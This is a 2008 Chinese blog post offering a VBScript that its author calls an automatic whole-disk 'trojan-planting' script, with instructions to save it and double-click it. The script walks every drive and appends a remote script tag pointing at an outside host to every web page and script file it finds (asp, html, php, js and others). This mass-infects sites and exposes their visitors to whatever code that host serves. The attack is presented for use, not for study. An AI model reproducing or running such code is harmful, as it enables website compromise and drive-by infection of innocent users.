VBS自动全盘批量挂马脚本

不指定 21/06/2008 By 我本无邪, Via:本站原创
把下面代码保存成plgm.vbs双击运行即可


Set fsoo = createObject("Scripting.FileSystemObject")
Set objdrives=fsoo.Drives '取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives  '遍历磁盘
InsertAllFiles(objdrive&"\")  '调用函数,如果对单个盘符插就改成InsertAllFiles("e:\")
Next
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" or lcase(FSO.GetExtensionName(path&""&myfile.name))="htm" or lcase(FSO.GetExtensionName(path&""&myfile.name))="html" or lcase(FSO.GetExtensionName(path&""&myfile.name))="php" or lcase(FSO.GetExtensionName(path&""&myfile.name))="aspx" or lcase(FSO.GetExtensionName(path&""&myfile.name))="js" or lcase(FSO.GetExtensionName(path&""&myfile.name))="jsp" or lcase(FSO.GetExtensionName(path&""&myfile.name))="cgi" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<script src=http://a1l.cn></script>" '插马代码 如果有引号就用 "&chr(34)&"来代替
tfile.close
end if
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name&"\"
InsertAllFiles(newpath)
Next
set tfile=nothing
Set FSO = Nothing
End Sub


文章转载自『幽月's Blog』地址: http://a1l.cn/article.asp?id=20291

作者:我本无邪@无邪世界
地址:http://www.noevil.com.cn/read.php/61.htm
版权所有©转载时必须以链接形式注明作者和原始出处及本声明!

小蟹 Email 21/06/2008 19:00
飘过sleepy
分页: 1/1 第一页 1 最后页
发表评论

昵称

网址

电邮

打开HTML 打开UBB 打开表情 隐藏 记住我 [登入] [注册]